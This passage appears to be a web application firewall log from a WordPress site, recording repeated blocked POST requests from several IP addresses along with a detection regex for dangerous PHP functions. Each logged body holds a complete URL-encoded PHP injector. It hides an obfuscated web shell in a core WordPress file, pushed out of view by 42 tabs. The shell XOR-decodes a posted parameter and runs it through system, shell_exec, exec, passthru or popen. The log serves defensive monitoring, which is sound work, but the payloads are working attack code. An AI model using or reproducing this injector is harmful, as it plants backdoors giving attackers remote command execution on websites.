%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:50","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Dk:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/l10n\/class-wp-translation-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522str%255Cx65%255Cx61%255Cx6D%255Cx5Fget%255Cx5Fcon%255Cx74%255Cx65%255Cx6Et%255Cx73%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522pcl%255Cx6Fse%2522%253B%2520%2524sync_manager2%2520%253D%2520%2522she%255Cx6C%255Cx6C%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%2529%2520%257B%2520function%2520approve_request%2520%2528%2520%2524token%2520%252C%2520%2524symbol%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524o%253D0%253B%2520while%2528%2524o%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524record.%253Dchr%2528ord%2528%2524token%255B%2524o%255D%2529%255E%2524symbol%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520return%2520%2524record%253B%2520%257D%2520%2524holder%2520%253D%2520%2524module_controller%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%253B%2520%2524holder%2520%253D%2520approve_request%2528%2524holder%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524holder%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524symbol_record%2520%253D%2520%2524sync_manager5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524symbol_record%2529%2520%257B%2520%2524parameter_group_hld%2520%253D%2520%2524sync_manager6%2528%2524symbol_record%2529%253B%2520%2524sync_manager7%2528%2524symbol_record%2529%253B%2520print%2520%2524parameter_group_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\ncontent-length:5351\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvETfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nDk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/l10n\/class-wp-translation-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522str%255Cx65%255Cx61%255Cx6D%255Cx5Fget%255Cx5Fcon%255Cx74%255Cx65%255Cx6Et%255Cx73%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522pcl%255Cx6Fse%2522%253B%2520%2524sync_manager2%2520%253D%2520%2522she%255Cx6C%255Cx6C%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%2529%2520%257B%2520function%2520approve_request%2520%2528%2520%2524token%2520%252C%2520%2524symbol%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524o%253D0%253B%2520while%2528%2524o%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524record.%253Dchr%2528ord%2528%2524token%255B%2524o%255D%2529%255E%2524symbol%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520return%2520%2524record%253B%2520%257D%2520%2524holder%2520%253D%2520%2524module_controller%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%253B%2520%2524holder%2520%253D%2520approve_request%2528%2524holder%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524holder%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524symbol_record%2520%253D%2520%2524sync_manager5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524symbol_record%2529%2520%257B%2520%2524parameter_group_hld%2520%253D%2520%2524sync_manager6%2528%2524symbol_record%2529%253B%2520%2524sync_manager7%2528%2524symbol_record%2529%253B%2520print%2520%2524parameter_group_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:52","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/l10n\/class-wp-translation-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522str%255Cx65%255Cx61%255Cx6D%255Cx5Fget%255Cx5Fcon%255Cx74%255Cx65%255Cx6Et%255Cx73%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522pcl%255Cx6Fse%2522%253B%2520%2524sync_manager2%2520%253D%2520%2522she%255Cx6C%255Cx6C%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%2529%2520%257B%2520function%2520approve_request%2520%2528%2520%2524token%2520%252C%2520%2524symbol%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524o%253D0%253B%2520while%2528%2524o%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524record.%253Dchr%2528ord%2528%2524token%255B%2524o%255D%2529%255E%2524symbol%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520return%2520%2524record%253B%2520%257D%2520%2524holder%2520%253D%2520%2524module_controller%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%253B%2520%2524holder%2520%253D%2520approve_request%2528%2524holder%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524holder%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524symbol_record%2520%253D%2520%2524sync_manager5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524symbol_record%2529%2520%257B%2520%2524parameter_group_hld%2520%253D%2520%2524sync_manager6%2528%2524symbol_record%2529%253B%2520%2524sync_manager7%2528%2524symbol_record%2529%253B%2520print%2520%2524parameter_group_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:5351\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvERLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nDF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/l10n\/class-wp-translation-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522str%255Cx65%255Cx61%255Cx6D%255Cx5Fget%255Cx5Fcon%255Cx74%255Cx65%255Cx6Et%255Cx73%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522pcl%255Cx6Fse%2522%253B%2520%2524sync_manager2%2520%253D%2520%2522she%255Cx6C%255Cx6C%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%2529%2520%257B%2520function%2520approve_request%2520%2528%2520%2524token%2520%252C%2520%2524symbol%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524o%253D0%253B%2520while%2528%2524o%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524record.%253Dchr%2528ord%2528%2524token%255B%2524o%255D%2529%255E%2524symbol%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520return%2520%2524record%253B%2520%257D%2520%2524holder%2520%253D%2520%2524module_controller%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%253B%2520%2524holder%2520%253D%2520approve_request%2528%2524holder%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524holder%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524symbol_record%2520%253D%2520%2524sync_manager5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524symbol_record%2529%2520%257B%2520%2524parameter_group_hld%2520%253D%2520%2524sync_manager6%2528%2524symbol_record%2529%253B%2520%2524sync_manager7%2528%2524symbol_record%2529%253B%2520print%2520%2524parameter_group_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:53","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ri:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/l10n\/class-wp-translation-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522str%255Cx65%255Cx61%255Cx6D%255Cx5Fget%255Cx5Fcon%255Cx74%255Cx65%255Cx6Et%255Cx73%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522pcl%255Cx6Fse%2522%253B%2520%2524sync_manager2%2520%253D%2520%2522she%255Cx6C%255Cx6C%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%2529%2520%257B%2520function%2520approve_request%2520%2528%2520%2524token%2520%252C%2520%2524symbol%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524o%253D0%253B%2520while%2528%2524o%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524record.%253Dchr%2528ord%2528%2524token%255B%2524o%255D%2529%255E%2524symbol%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520return%2520%2524record%253B%2520%257D%2520%2524holder%2520%253D%2520%2524module_controller%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%253B%2520%2524holder%2520%253D%2520approve_request%2528%2524holder%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524holder%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524symbol_record%2520%253D%2520%2524sync_manager5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524symbol_record%2529%2520%257B%2520%2524parameter_group_hld%2520%253D%2520%2524sync_manager6%2528%2524symbol_record%2529%253B%2520%2524sync_manager7%2528%2524symbol_record%2529%253B%2520print%2520%2524parameter_group_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:5351\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 